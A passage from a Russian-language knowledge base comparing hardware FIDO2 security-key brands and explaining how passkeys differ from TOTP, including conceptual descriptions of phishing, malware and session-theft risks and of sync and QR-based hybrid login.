открытость: обычно меньше протоколов, меньше сертификаций и менее «вылизанное» железо. ### OpenSK — открытая прошивка от Google **OpenSK** — исследовательский проект Google, опубликованный в январе 2020 года. Это реализация FIDO2/CTAP2 на языке Rust поверх операционной системы TockOS для совместимых плат, например Nordic nRF52840, а не готовый массовый продукт. Ветка CTAP 2.0 проходила FIDO-сертификацию, но текущая ветка разработки `develop` не наследует её автоматически. Файл с основным описанием проекта README называет OpenSK экспериментальным прототипом, или proof of concept, и не рекомендует его для повседневной защиты. Код: [github.com/google/OpenSK](https://github.com/google/OpenSK). ### SoloKeys — первый открытый FIDO2-ключ **Solo** (проект SoloKeys) собрал деньги через краудфандинговую площадку Kickstarter в 2018 году как ранний FIDO2-ключ с открытыми прошивкой и схемотехникой. Второе поколение **Solo 2** получило прошивку на языке Rust и NFC. В 2026 году репозиторий снова активно обновляется; команда различает Solo 2 Secure с подписанной прошивкой и Hacker с разблокированной. Статус FIDO2-сертификации конкретной модели нужно проверять перед покупкой, а прошлое затишье проекта остаётся аргументом оценить поддержку и поставки. ### Nitrokey — немецкие открытые ключи **Nitrokey** (Берлин) развивает открытые ключи с подписанными обновлениями. **Nitrokey 3** (3A NFC, 3C NFC и Mini) построен на программной основе Trussed, написанной на языке Rust, и поддерживает FIDO2, OATH, OpenPGP и PIV в актуальных прошивках. SE050 используется для OpenPGP/PIV и дополнительной случайности, но учётные данные FIDO хранятся как зашифрованные данные во флеш-памяти, поэтому фраза «FIDO-ключи лежат в SE050» неверна. **Nitrokey Passkey** поддерживает FIDO2/U2F без OpenPGP; производитель поставляет одну прошивку и не требует обновления. Сертификацию проверяют по модели: Nitrokey 3A Mini получил FIDO L1, это не распространяется автоматически на всю линейку. ### OnlyKey — ключ с PIN-клавиатурой **OnlyKey** сочетает FIDO2/U2F с менеджером паролей, OATH и дополнительными криптографическими функциями. Шестикнопочная модель требует вводить PIN на самом ключе; OnlyKey DUO имеет три кнопки и допускает ввод через приложение. Документация описывает два профиля и 24 слота, а прошивка проверяется подписью CryptoTrust. Такой гибрид функциональнее простого FIDO-ключа, но увеличивает число режимов и сложность эксплуатации. ## Другие производители и типы - **Google Titan Security Key** — актуальные модели USB-A/NFC и USB-C/NFC поколения 2023 года хранят более 250 passkeys. В 2019 году Google заменяла затронутые BLE-модели T1/T2 из-за ошибки сопряжения; USB/NFC-модели этой проблемой не затрагивались. В 2021 году компания прекратила продавать Bluetooth-вариант и оставила USB+NFC. - **Token2** — возможности зависят от версии устройства. PIN+ Release 1 хранит до 50 passkeys, Release 2/3 — до 300; Release 3 поддерживает OpenPGP, а Release 3.3 добавляет PIV. Серия получила FIDO Level 2 в январе 2025 года, но уровень и прошивку конкретной модели всё равно проверяют отдельно. - **Feitian** — линейки ePass и BioPass включают множество моделей с разными наборами NFC, BLE, PIV, OTP и биометрии. Например, BioPass K26 заявляет максимум 128 учётных записей. Название производителя не гарантирует одинаковые возможности: нужен точный K-номер и запись в каталоге сертификации. - **Thetis, Kensington VeriMark, Hideez и др.** — бюджетные и нишевые ключи; VeriMark ориентирован в первую очередь на встроенную проверку Windows Hello. - **Смарт-карты** (OpenPGP card, PIV-карты) — отдельный форм-фактор и набор приложений, обычно требующий считывателя. Это не обязательно «тот же чип», что в FIDO-брелоке. - **HSM** — серверный аппаратный модуль со стандартным программным интерфейсом PKCS#11, политиками доступа, аудитом и резервированием. Он решает другую задачу и не является персональным ключом входа. - **Телефон как ключ** — Android и iOS хранят ключи для собственных приложений во встроенном аутентификаторе, а на другом компьютере телефон может подтвердить вход по QR-коду и проверке близости. Учётные данные телефона могут допускать синхронизацию между устройствами (multi-device) или оставаться на одном аутентификаторе (single-device); облачная копия не обязательна. ## Как выбрать: чек-лист Сначала выберите угрозу и рабочий сценарий, затем бренд. Простой FIDO2-ключ может защищать веб-вход лучше дорогой мультипротокольной модели, если дополнительные функции не используются. И наоборот, корпоративный PIV или OpenPGP требует конкретного протокола, которого нет в дешёвой Security Key Series. ```mermaid flowchart TD Need{"Для чего нужен ключ?"} Need -->|"Вход в сайты"| FIDO["FIDO2/U2F"] Need -->|"PIV, OpenPGP, OATH"| Multi["Мультипротокольная модель"] FIDO --> Passkeys{"Нужны ключи доступа
на самом устройстве?"} Passkeys -->|"да"| Capacity["Проверить вместимость
обнаруживаемых записей"] Passkeys -->|"нет, только 2FA"| Basic["Достаточно базовой FIDO2-модели"] Capacity --> Assurance{"Нужна аттестация
или FIDO L2/L3?"} Multi --> Assurance Assurance --> Ports["Проверить USB-C/A, NFC,
ОС и конкретную прошивку"] Basic --> Ports Ports --> Pair["Купить и зарегистрировать два ключа"] ``` | Угроза | Что даёт ключ | Чего не даёт | |---|---|---| | Фишинг логина | привязка к origin и RP ID, подпись одноразового вызова | не защищает слабый запасной вход по паролю или SMS | | Утечка базы сервиса | закрытый ключ не лежит на сервере | метаданные аккаунта всё равно могут утечь | | Кража токена | PIN/биометрия могут дать UV и лимит попыток | U2F-only касание не идентифицирует владельца | | Вредонос на компьютере | не извлекает закрытый ключ через обычный программный интерфейс | может использовать открытую сессию и подменять действия | | Подмена товара | аттестация и фирменная проверка подлинности иногда помогают | сертификация не контролирует конкретного продавца и логистику | - [ ] **Определите задачу.** Только вход в сайты (Google, GitHub, соцсети, криптобиржи) → достаточно FIDO2-ключа: Yubico Security Key, Token2 PIN+, Nitrokey Passkey. GPG-подписи, SSH-ключи, корпоративные смарт-карты → мультипротокольный: YubiKey 5, Nitrokey 3, OnlyKey. - [ ] **Разъёмы и NFC.** Ключ должен физически втыкаться в ваши устройства; для входа со смартфона берите версию с NFC (iPhone поддерживает NFC-ключи с iOS 13.3). - [ ] **Открытость или сертификация.** Максимальная проверяемость → Nitrokey (или OpenSK для энтузиастов). Максимальная «промышленная» зрелость и совместимость → YubiKey. - [ ] **Купите два ключа сразу** и зарегистрируйте оба до удаления старого метода. Резервный храните отдельно; коды восстановления — в месте без сетевого доступа. - [ ] **Проверьте восстановление.** Убедитесь, что второй ключ и коды восстановления работают. После этого уберите SMS/почту или защитите их не слабее основного входа, если сервис позволяет. В Google строгий режим включается программой усиленной защиты Advanced Protection (см. также [[Privacy Google]]). - [ ] **Покупка в России.** Доступность официальной доставки и авторизованных каналов в РФ меняется; проверяйте актуальные условия у производителя и продавца. Посредник или маркетплейс добавляет риск подмены, поэтому выбирайте запечатанный товар из прослеживаемого источника и используйте фирменную проверку подлинности (у Yubico — сервис yubico.com/genuine). > [!warning] Сертификация не проверяет всю цепочку поставок > FIDO certification подтверждает совместимость и заявленный Authenticator Security Level конкретной модели и версии. Она не гарантирует безопасность продавца, доставки или упаковки вашего экземпляра. Покупайте у производителя или авторизованного продавца, сверяйте модель и прошивку, а для YubiKey используйте [официальную проверку подлинности](https://www.yubico.com/genuine/). ## 📚 См. также - [[FIDO/00-overview|Обзор раздела FIDO]] — оглавление всех заметок об аппаратных ключах - [[FIDO/fido-protocols|Протоколы FIDO]] — механика U2F, FIDO2/WebAuthn, CTAP и passkeys - [[FIDO/fido-history|Что такое FIDO и его история]] — альянс и хронология стандартов - [[FIDO/passkeys|Passkeys]] — беспарольный вход: синхронизация, гибридный транспорт, критика - [[Cybersecurity|Кибербезопасность]] — подборка материалов по кибербезопасности - [[SMS]] — почему SMS — слабый канал для кодов и восстановления доступа - [[Privacy Google]] — приватность и настройки аккаунта Google - 🔗 [Спецификации FIDO Alliance](https://fidoalliance.org/specifications/) — первоисточник по U2F/FIDO2/WebAuthn - 🔗 [Документация Yubico](https://docs.yubico.com/) — протоколы и линейки YubiKey - 🔗 [Руководство Yubico Authenticator](https://docs.yubico.com/software/yubikey/tools/authenticator/auth-guide/) — возможности приложения, совместимость и безопасный сброс - 🔗 [Загрузки программ Yubico](https://www.yubico.com/support/download/) — актуальные версии YubiKey Manager, драйверов и пользовательских приложений - 🔗 [Руководство YubiKey Passkey Enabler](https://docs.yubico.com/software/applications/yubikey-passkey-enabler/) — требования Android и работа внешнего ключа через USB или NFC - 🔗 [Документация YubiHSM 2](https://docs.yubico.com/hardware/yubihsm-2/hsm-2-user-guide/) — серверный модуль, программные интерфейсы и управление ключами - 🔗 [google/OpenSK](https://github.com/google/OpenSK) — открытая FIDO2-прошивка - 🔗 [Nitrokey Docs](https://docs.nitrokey.com/) — документация Nitrokey 3 - 🔗 [FIDO Certified Products](https://fidoalliance.org/certification/fido-certified-products/) — проверка модели, версии и уровня сертификации - 🔗 [Yubico YSA-2024-03](https://www.yubico.com/support/security-advisories/ysa-2024-03/) — точный список версий, затронутых EUCLEAK --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/FIDO/hardware-security-keys.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-04 tags: - passkeys - fido2 - webauthn - 2fa aliases: - Passkeys - Passkey - Ключи доступа - Как работают ключи доступа - Синхронизируемый passkey - Device-bound passkey - TOTP или passkey - Можно ли украсть passkey link: https://fidoalliance.org/passkeys/ --- # 🗝️ Passkeys («ключи доступа»): беспарольный вход FIDO2 > [!info] О чём заметка > Ключ доступа заменяет пароль парой криптографических ключей: сайт хранит только открытый, а закрытый остаётся на устройстве или в защищённом хранилище пользователя. Здесь разобраны синхронизация, привязка к одному устройству, сравнение с одноразовыми кодами, удалённые атаки, вход телефоном по машиночитаемому квадратному коду и восстановление. Техническая основа описана в [[FIDO/webauthn|заметке о входе через браузер]], а общая картина — в [[FIDO/fido-protocols|обзоре системы криптографического входа]]. ## Что такое passkey Обычный пароль нужно вспомнить и передать сайту. Здесь человек выбирает учётную запись в системном окне и подтверждает её кодом устройства или биометрией. Закрытый ключ создаёт подпись внутри телефона, компьютера или аппаратного ключа и не отправляется серверу. Такой пользовательский сценарий называют **passkey**, в русских интерфейсах «ключ доступа». Чтобы показать аккаунт до ввода логина, устройство должно само найти сохранённую запись по сайту. Такая обнаруживаемая запись называется discoverable credential. Внутри неё находятся закрытый ключ, идентификаторы сайта и пользователя и служебные параметры; нормативное название этой внутренней записи — credential source. Открытый ключ хранится отдельно на сервере и в credential source не входит. Браузер и операционная система стоят между сайтом и хранилищем: проверяют запрос, показывают выбор аккаунта и передают разрешённую операцию аутентификатору. Этот слой называют клиентской платформой (client platform). Само системное или стороннее хранилище, которое предоставляет записи клиентской платформе, называют поставщиком учётных данных (credential provider). Подпись связана с двумя границами сайта. Браузер фиксирует точный адрес страницы со схемой, доменом и портом; эта запись называется origin. Аутентификатор связывает ключ с доменной областью сервиса, то есть с RP ID. Поэтому ответ, запрошенный на поддельном домене, не подходит настоящему сервису ([[FIDO/fido-protocols#Origin и RP ID: две границы доверия|подробная проверка]]). ```mermaid flowchart LR RP["Сервис / RP
открытый ключ
идентификатор записи"] -->|"одноразовый вызов"| Client["Браузер и ОС
выбор ключа доступа"] Client --> Provider["Хранилище учётных данных
одно устройство или несколько"] Provider --> UV["Локальная проверка
PIN / биометрия"] UV --> Sign["Подпись закрытым ключом"] Sign -->|"подписанное утверждение"| RP ``` Ключ доступа не добавляет отдельный сетевой протокол. Страница обращается к браузеру через [[FIDO/webauthn|WebAuthn]], а клиентская платформа при необходимости разговаривает с внешним аутентификатором по [[FIDO/ctap|CTAP]]. Связка этих стандартов называется FIDO2; слово passkey описывает обнаруживаемую запись и пользовательский сценарий вокруг неё. История появления — совместное заявление Apple, Google и Microsoft в мае 2022 и запуск в iOS 16 и Android осенью того же года — расписана в [[FIDO/fido-history#2019–2022: платформы вместо брелков|истории FIDO]]. ## Чем TOTP отличается от passkey Приложение-аутентификатор часто показывает шестизначный код, который меняется каждые 30 секунд. Приложение и сайт хранят копии одного долгоживущего случайного секрета, добавляют к нему текущее время и независимо получают одинаковый код. Эту схему называют одноразовым паролем, основанным на времени, или TOTP. При настройке сайт передаёт этот секрет приложению как машиночитаемый квадратный код или текстовую строку. В текстовой записи байты секрета часто представляют набором латинских букв и цифр; такая схема кодирования называется Base32. Квадратный код и строка не создают два разных секрета: это две формы передачи одних и тех же данных. > [!important] Шестизначный код и секрет TOTP — не одно и то же > Перехват одного кода даёт атакующему короткое окно для входа. Копия исходного секрета позволяет самостоятельно вычислять все следующие коды, пока пользователь не перевыпустит TOTP на сайте. Фраза «TOTP — это одна незашифрованная строка» описывает небезопасное хранилище, а не обязательное свойство протокола. Приложение может зашифровать секрет, положить его в защищённую область системы или записать в [[FIDO/hardware-security-keys|аппаратный ключ]]. [RFC 6238](https://www.rfc-editor.org/rfc/rfc6238) рекомендует защищать секрет от постороннего доступа. Один и тот же секрет хранится у аутентификатора и у проверяющего сервера, а пользователь обычно видит только вычисленный код. У ключа доступа сайт и устройство не делят общий секрет. Аутентификатор создаёт пару: закрытый ключ хранится у пользователя, открытый — у сайта. Сайт присылает новую случайную задачу при каждом входе, а аутентификатор подписывает её вместе с данными о сайте. Эту схему называют асимметричной криптографией: открытый ключ проверяет подпись, но не позволяет создать её. | Вопрос | TOTP | Ключ доступа | |---|---|---| | Что хранит устройство | общий с сайтом секрет | закрытый ключ | | Что хранит сайт | тот же секрет или данные, из которых его можно получить | открытый ключ и идентификатор записи | | Что передаётся при входе | короткий цифровой код | подпись новой задачи и данных о сайте | | Что даёт фишинговая страница | может перехватить и сразу переслать код | не получает подпись для чужого домена | | Что даёт кража базы сайта | может раскрыть секреты, если атакующий получил и данные, и ключ расшифрования | не даёт данных для создания новой подписи | | Что даёт заражение устройства | вредоносная программа может украсть секрет, текущий код или сеанс | может вызвать подпись, атаковать хранилище или украсть уже открытый сеанс | ### Где сервер хранит TOTP и что значит «одна корзина» В правильно устроенной системе сервер не хранит пароль пользователя в исходном виде. Он сохраняет результат медленного одностороннего преобразования с индивидуальной случайной добавкой, как предписывает [раздел NIST о проверке паролей](https://pages.nist.gov/800-63-4/sp800-63b.html#password-verifiers). По такому результату можно проверить введённый пароль, но нельзя сразу восстановить сам пароль. Секрет TOTP устроен иначе: проверяющая сторона должна вычислить ожидаемый код, поэтому ей нужен сам секрет либо отдельный защищённый компонент, способный выполнить вычисление от её имени. Защищённое хранение требуется, а отдельная база является лишь одним из способов реализации. [RFC 6238](https://www.rfc-editor.org/rfc/rfc6238#section-5.1) требует держать хранилище ключей в защищённой области, советует ограничить доступ необходимыми процессами и рекомендует расшифровывать ключ лишь на время проверки. [NIST](https://pages.nist.gov/800-63-4/sp800-63b.html#single-factor-otp-verifiers) также требует ограничить доступ к симметричным ключам только теми программными компонентами, которым они нужны. Отдельная таблица в той же базе почти ничего не меняет. Отдельная база тоже мало помогает, если основное приложение имеет к ней постоянный полный доступ: захват приложения откроет обе. Настоящее разделение появляется, когда секреты TOTP зашифрованы ключом вне базы, проверяются отдельной службой или аппаратным криптографическим модулем, а права и журналы доступа не совпадают с хранилищем паролей. Тогда ошибка, позволяющая прочитать только основную базу аккаунтов, ещё не раскрывает секреты TOTP. Двухфакторность при этом определяется не количеством серверных баз. В типичной схеме TOTP является одним доказательством владения аутентификатором. Когда сайт требует ещё и отдельный пароль, пользователь предъявляет два разных вида доказательства: знание пароля и владение аутентификатором с секретом TOTP. Раздельное серверное хранение уменьшает последствия одной утечки, но не создаёт второй фактор само по себе. Выражение «не класть все яйца в одну корзину» здесь точнее понимать как разделение областей отказа: захвата одного компонента не должно хватать для получения обоих проверочных материалов. ### Телефон, Stratum и KeePassXC Для TOTP не требуется конкретное приложение. Программа берёт общий секрет и текущее время устройства, после чего вычисляет код локально. Ей не нужно соединяться с сайтом или отдельным сервером времени при каждом входе. Часы телефона или компьютера должны лишь не уйти настолько далеко, чтобы код попал за допустимое сервером временное окно. [Stratum](https://stratumauth.com/) в этом контексте — название одного свободного приложения для одноразовых кодов на Android, ранее называвшегося Authenticator Pro. Его разработчики прямо указывают, что коды вычисляются без доступа к интернету. В протоколе сетевой синхронизации времени словом *stratum* называют уровень сервера в иерархии источников времени; это другое понятие, описанное в [RFC 5905](https://www.rfc-editor.org/rfc/rfc5905#section-2), и к выбору приложения для кодов оно отношения не имеет. Выбор между Stratum и другим свободным приложением Aegis влияет на шифрование локальной базы, резервные копии и поддержку часов, но не меняет механику обычного TOTP. Оба приложения также умеют вычислять отдельный восьмибуквенный формат Яндекса. Поддерживаемые варианты, безопасные настройки и замена Яндекс ID (Ключа) разобраны в [[TOTP/aegis-vs-stratum|сравнении Aegis и Stratum]]. Телефон понадобится только тогда, когда секрет TOTP доступен пользователю лишь на телефоне. Его можно держать в отдельном аппаратном ключе или в настольном менеджере. [Уведомление Google](https://support.google.com/accounts/answer/7026266) с просьбой подтвердить вход на телефоне — ещё один способ проверки, а не работа TOTP: поэтому привычка тянуться к телефону при входе в Google ничего не говорит об обязательных свойствах одноразовых кодов. Серверное и пользовательское хранилища находятся по разные стороны входа. Сайт хранит проверочный материал: секрет TOTP либо открытый ключ, соответствующий сохранённому у пользователя ключу доступа. Пользователь сам выбирает, где будут лежать его секрет TOTP и закрытый ключ. Объединение данных в одном пользовательском хранилище не заставляет сайт хранить закрытый ключ и не отменяет асимметрическую схему ключа доступа. [KeePassXC](https://keepassxc.org/docs/KeePassXC_GettingStarted) умеет хранить и секреты TOTP, и ключи доступа; для ключей доступа используется расширение, связывающее браузер с открытой базой KeePassXC. Свою зашифрованную базу программа записывает в файл формата KDBX. Поэтому конкретный пользователь действительно может сложить пароль, TOTP и ключ доступа в один такой файл. Это выбор хранилища, а не свойство протоколов. Такой файл можно синхронизировать через выбранное пользователем облако: слово «локальный» не гарантирует, что существует только одна копия. Если пароль и TOTP лежат в одной открываемой одним паролем базе, получение её расшифрованного содержимого отдаст атакующему оба материала. [Сами разработчики KeePassXC](https://keepassxc.org/docs/#faq-security-totp) советуют для максимального разделения хранить TOTP в другой базе с другим паролем, по возможности на другом устройстве. Два файла на одном компьютере помогут при краже только одного файла, но не спасут от вредоносной программы, пока обе базы открыты. Ключ доступа в той же базе тоже становится частью общей точки отказа на стороне пользователя, хотя сохраняет другое важное свойство: поддельный сайт не может получить подпись для настоящего домена. Ключ доступа можно вместо этого оставить в системном защищённом хранилище или на аппаратном ключе. ### Как TOTP крадут удалённо Фишинговому сайту не нужен долгоживущий секрет. Поддельная страница принимает логин, пароль и текущий TOTP, тут же передаёт их настоящему сайту и перехватывает созданный сеанс. Код живёт недолго, но атакующему хватает нескольких секунд для пересылки. В США требования к такой проверке личности публикует Национальный институт стандартов и технологий, или [NIST](https://pages.nist.gov/800-63-4/sp800-63b.html). Его руководство не считает ручно вводимые одноразовые коды устойчивыми к фишингу. Вредоносная программа может дать оператору удалённый просмотр экрана, доступ к файлам и выполнение команд. Такой класс вредоносов называют трояном удалённого доступа, или RAT. На телефоне или компьютере такой троян может попытаться прочитать базу аутентификатора, перехватить код с экрана или буфера обмена, подменить приложение или украсть сеанс после входа. Результат зависит от защиты конкретного приложения, песочницы операционной системы и прав, которые получил вредонос. Отдельный аппаратный ключ меняет этот риск. Например, YubiKey не экспортирует TOTP-секрет штатными командами. Графическая программа управления Yubico Authenticator получает от ключа вычисленный одноразовый код. Когда ключ подключён и хранилище одноразовых кодов разблокировано, заражённый компьютер всё ещё может попросить ключ вычислить код или перехватить его после вывода. Пароль этого хранилища и требование касания сокращают окно атаки, но не лечат заражённую систему. Секрет можно украсть ещё до первого входа. Снимок экрана с квадратным кодом настройки, экспорт из приложения или незащищённая облачная копия содержат данные для полного клона. После кражи такой копии одной смены пароля недостаточно: нужно отключить и заново настроить TOTP на сайте. Сайт тоже должен вычислять ожидаемый TOTP, поэтому хранит тот же секрет либо эквивалентное производное, из которого может проверить код. Кража только базы не всегда раскрывает секреты: они могут быть зашифрованы отдельным ключом или обрабатываться в аппаратном модуле. Захват самого сервера приложения и его ключей расшифрования уже может дать атакующему копии TOTP-секретов многих аккаунтов. ### Как атакуют passkey Обычная поддельная страница не может получить от passkey переносимый код. Браузер передаёт аутентификатору область домена, а сайт проверяет точный адрес страницы и подпись своей одноразовой задачи. Подпись, созданная для другого домена или прошлой задачи, не проходит проверку. Перехват сетевого обмена не даёт закрытый ключ и не позволяет создать следующую подпись. WebAuthn полагается на браузер и операционную систему. Если RAT получил достаточные права, он может открыть настоящий сайт, вызвать процесс входа и попытаться заставить пользователя коснуться ключа или разблокировать хранилище. Аппаратный ключ обычно не отдаёт ему закрытый ключ, но заражённая клиентская платформа может злоупотребить операцией подписи. Проверка PIN, биометрии и физического касания снижает риск тихого входа без участия человека. Синхронизируемый ключ доступа не остаётся внутри одного чипа: поставщик хранилища переносит зашифрованную копию на другие разрешённые устройства. Захват аккаунта у этого поставщика, слабая процедура восстановления или вредонос на уже разблокированном доверенном устройстве могут дать атакующему возможность использовать или синхронизировать ключ. Это зависит от конкретной архитектуры поставщика: одного логина и пароля не всегда достаточно для расшифрования копии. Кража обычной базы аккаунтов сайта даёт атакующему открытые ключи и идентификаторы, но не данные для входа. Полный захват сервера — другая модель угроз: атакующий может выдать себе сеанс, добавить свой ключ к учётной записи или отключить проверку. Способ аутентификации не может защитить от сервера, который уже контролирует злоумышленник. ### Почему кража сеанса обходит оба способа TOTP и ключ доступа проверяют пользователя в момент входа. После успешной проверки сервис создаёт отдельный секрет, по которому узнаёт уже вошедшую программу. Пока этот секрет действует, обычные запросы не требуют пароль, TOTP или ключ доступа заново. Исключение составляют действия, для которых сервис специально запрашивает повторную проверку. Такое продолжительное состояние называют сеансом, а его секрет — маркером сеанса. Браузер обычно хранит маркер сеанса в специальной записи, которую называют cookie. Если для доступа достаточно предъявить скопированное значение, перед нами предъявительский секрет: сервер принимает любого, у кого есть его копия. RAT может украсть такую запись или управлять уже открытым браузером. Вход заново не выполняется, поэтому ни закрытый ключ доступа, ни секрет TOTP красть не обязательно. [NIST отдельно подчёркивает](https://pages.nist.gov/800-63-4/sp800-63b/session/), что стойкость управления сеансами так же важна, как стойкость первоначальной проверки. Firefox даёт прямой пример такого хранения. По [документации Mozilla](https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data) браузер складывает cookie сайтов, включая записи о состоянии входа, в базу `cookies.sqlite` внутри профиля пользователя. Вредонос с доступом к профилю или открытому браузеру может попытаться извлечь действующий маркер и предъявить его сервису в другом сеансе; [MDN называет результат такой кражи захватом сеанса](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie#security). Копирование файла не гарантирует вход на любой сайт: конкретная запись могла истечь, сервер мог отозвать сеанс, запросить повторную проверку или привязать продолжение сеанса к криптографическому ключу устройства. У Telegram Desktop механизм отличается от браузерной cookie. Клиент хранит локальные данные авторизации протокола Telegram в профиле `tdata`. [Исходный код клиента](https://github.com/telegramdesktop/tdesktop/blob/dev/Telegram/SourceFiles/storage/storage_domain.cpp#L106-L157) показывает защиту локального ключа кодом приложения, а [данные авторизации](https://github.com/telegramdesktop/tdesktop/blob/dev/Telegram/SourceFiles/storage/storage_account.cpp#L1148-L1165) записываются в зашифрованном виде. Поэтому копия каталога `tdata` не обязательно сразу пригодна для доступа, если установлен неизвестный локальный код. После расшифрования важен не каталог сам по себе, а секретный ключ авторизации Telegram. В [описании авторизации](https://core.telegram.org/api/auth#we-are-authorized) сказано, что после входа его идентификатор связывается с пользователем, а запросы, подтверждённые соответствующим ключом, выполняются от имени этого пользователя. RAT, управляющий уже открытым клиентом или читающий его память, может использовать действующий сеанс без нового кода, пароля или ключа доступа. Это не выдача доверия новому устройству, а злоупотребление уже разрешённым сеансом. Фраза «никакая защита не поможет» слишком сильна. Локальный код Telegram защищает сохранённые данные, а блокировка операционной системы и ограничение доступа к файлам затрудняют кражу с выключенного или заблокированного устройства. Короткий срок жизни сеанса, повторная проверка перед чувствительным действием, поддерживаемая сервисом криптографическая привязка сеанса к устройству, обнаружение необычной активности и отзыв активных сеансов уменьшают последствия. Но вредонос с полными правами или доступом к памяти уже открытой программы способен обойти многие из этих мер. [Telegram предупреждает](https://telegram.org/faq#q-can-telegram-protect-me-against-everything), что приложение не может гарантировать безопасность при полном доступе злоумышленника к устройству; подозрительный сеанс можно завершить в [списке активных устройств](https://telegram.org/faq#q-my-phone-was-stolen-what-do-i-do). ```mermaid flowchart TD Attacker["Удалённый атакующий"] --> Phish["Поддельная страница"] Phish -->|"TOTP пересылается сразу"| RealSite["Настоящий сайт"] Phish -->|"Passkey привязан к домену"| Blocked["Подпись нужным ключом не создаётся"] Attacker --> Malware["Вредонос на устройстве"] Malware --> TOTP["Чтение секрета или кода TOTP"] Malware --> Passkey["Вызов подписи или кража сеанса"] Attacker --> Server["Захват сайта"] Server --> Seed["Секреты TOTP могут быть раскрыты"] Server --> Bypass["При полном контроле проверку passkey можно обойти"] ``` > [!important] Протокол и его окружение защищают разные границы > TOTP и ключи доступа полезны, но не равнозначны. Даже идеально сохранённый TOTP можно переслать настоящему сайту во время фишинговой атаки, потому что пользователь вводит переносимый код. Ключ доступа устраняет этот недостаток и не оставляет серверу общий секрет. Хранилище, восстановление аккаунта, защита устройства и управление сеансами определяют, сохранятся ли эти преимущества в реальной системе. ### Если включены оба способа Два включённых способа входа могут означать разные вещи. Если сайт требует и passkey, и TOTP в одном входе, атакующему придётся пройти обе проверки. Если сайт принимает passkey или связку «пароль плюс TOTP» как равнозначные варианты, фишингоустойчивый путь можно обойти через TOTP. Добавление TOTP к passkey часто улучшает восстановление доступа, но не обязательно повышает стойкость входа. Для критичного аккаунта два независимых ключа доступа дают запасной путь при потере одного аутентификатора и сохраняют устойчивый к фишингу повседневный вход. Коды восстановления остаются более слабым обходным маршрутом: их хранят отдельно и используют только после проверки адреса официального сайта. Слабый пароль, SMS или легко подменяемая процедура поддержки всё равно оставляют обходной маршрут. ## Можно ли скопировать ключ: флаги BE и BS Одна запись остаётся на единственном аутентификаторе и не разрешает резервную копию; её называют single-device credential. Другая допускает копирование и использование на нескольких устройствах; это multi-device credential. Оба свойства относятся к возможности копирования, а не к форме устройства. WebAuthn не передаёт сайту название облака, но даёт два флага. **BE** (backup eligibility, «возможность резервного копирования») показывает, разрешена ли копия, и фиксируется при регистрации. **BS** (backup state, «состояние резервной копии») сообщает, существует ли копия сейчас, и способен меняться между входами. | BE | BS | Значение | |---:|---:|---| | 0 | 0 | single-device credential, backup запрещён | | 0 | 1 | недопустимая комбинация | | 1 | 0 | multi-device credential, текущий backup не подтверждён | | 1 | 1 | multi-device credential с текущим backup | `BE=1` не доказывает именно облачную синхронизацию. Спецификация допускает облачный, локальный, прямой обмен между устройствами и экспортно-импортный механизмы. RP использует BE/BS как сигнал политики риска, а не как доказательство конкретного провайдера. ## Как работает синхронизация Синхронизируемый ключ доступа, или synced passkey, переживает потерю одного устройства: поставщик учётных данных создаёт защищённую резервную копию и делает запись доступной на других устройствах пользователя. Защита зависит от шифрования провайдера, локальной блокировки устройств, входа в аккаунт и процедуры восстановления. - **Apple:** сервис синхронизации Apple iCloud Keychain переносит passkeys между устройствами Apple со сквозным шифрованием. Системная программная основа AuthenticationServices подключает сторонние хранилища учётных данных и интерфейс Credential Exchange. - **Google:** менеджер паролей Google Password Manager синхронизирует passkeys между Android и Chrome. Google связывает сквозное шифрование с блокировкой экрана или отдельным PIN этого менеджера; Android 14+ допускает сторонние хранилища учётных данных. - **Microsoft:** локальное системное хранилище Windows Hello содержит device-bound credentials. Менеджер Microsoft Password Manager может синхронизировать passkeys между поддерживаемыми устройствами, браузерами и приложениями. - **Сторонние менеджеры:** 1Password, Bitwarden, Dashlane и другие работают как поставщики учётных данных там, где операционная система, браузер и приложение позволяют подключить такое хранилище. Синхронизация не отменяет восстановление. Пользователь может потерять доступ к аккаунту провайдера, оказаться на неподдерживаемой платформе или удалить запись. Сервису нужен запасной путь, но его стойкость не должна быть ниже основного входа. ## Ключ на одном аутентификаторе Запись без разрешённой резервной копии называют ключом, привязанным к устройству (device-bound passkey). Она может находиться в [[FIDO/hardware-security-keys|аппаратном ключе]], модуле доверенной платформы ноутбука или защищённом хранилище телефона. Такая привязка сама по себе не доказывает наличие отдельной защищённой микросхемы и не гарантирует свидетельство о модели: это независимые характеристики. Потеря единственного аутентификатора означает восстановление доступа через сервис. Для критичного аккаунта регистрируют как минимум два независимых аутентификатора и хранят резервный отдельно. Лимиты аппаратных ключей и выбор моделей разобраны в [[FIDO/hardware-security-keys|статье о физических ключах]], а блокировка PIN и сброс — в [[FIDO/ctap#PIN и защита от перебора|заметке о CTAP]]. ## Вход на чужом компьютере: QR-код и Bluetooth Если ключ доступа находится в телефоне, а войти нужно на компьютере, компьютер показывает QR-код с одноразовыми параметрами связи. Телефон сканирует его, короткий сигнал энергосберегающего режима Bluetooth подтверждает близость, затем стороны устанавливают защищённый канал. Такой путь называют гибридным транспортом (hybrid transport), а Bluetooth Low Energy сокращают до BLE ([[FIDO/ctap#Каналы связи: USB, NFC, BLE и гибридный транспорт|техническая механика]]). Закрытый ключ на компьютер не переносится. ```mermaid sequenceDiagram participant PC as Компьютер participant Phone as Телефон с ключом доступа participant RP as Сервис / RP RP->>PC: одноразовый вызов PC->>PC: показать QR Phone->>PC: сканирование QR + подтверждение близости BLE PC->>Phone: защищённый гибридный канал Phone->>Phone: выбрать ключ доступа, проверить пользователя Phone-->>PC: подписанное утверждение PC-->>RP: ответ WebAuthn RP->>RP: проверить адрес, хэш RP ID и подпись ``` Проверка близости мешает обычной удалённой ретрансляции QR-сценария, но не обещает невозможность любой передачи через посредника: атакующий с устройством рядом с компьютером или вредоносным ПО в локальной среде меняет модель угроз. FIDO Alliance выделяет установление такого канала в отдельный протокол обмена с проверкой близости (Proximity Exchange Protocol, PXP). На 16 августа 2026 года CTAP 2.3 остаётся утверждённой стабильной редакцией, а PXP 1.0 опубликован как рабочий черновик. ## Перенос между провайдерами Для переноса нужны общий 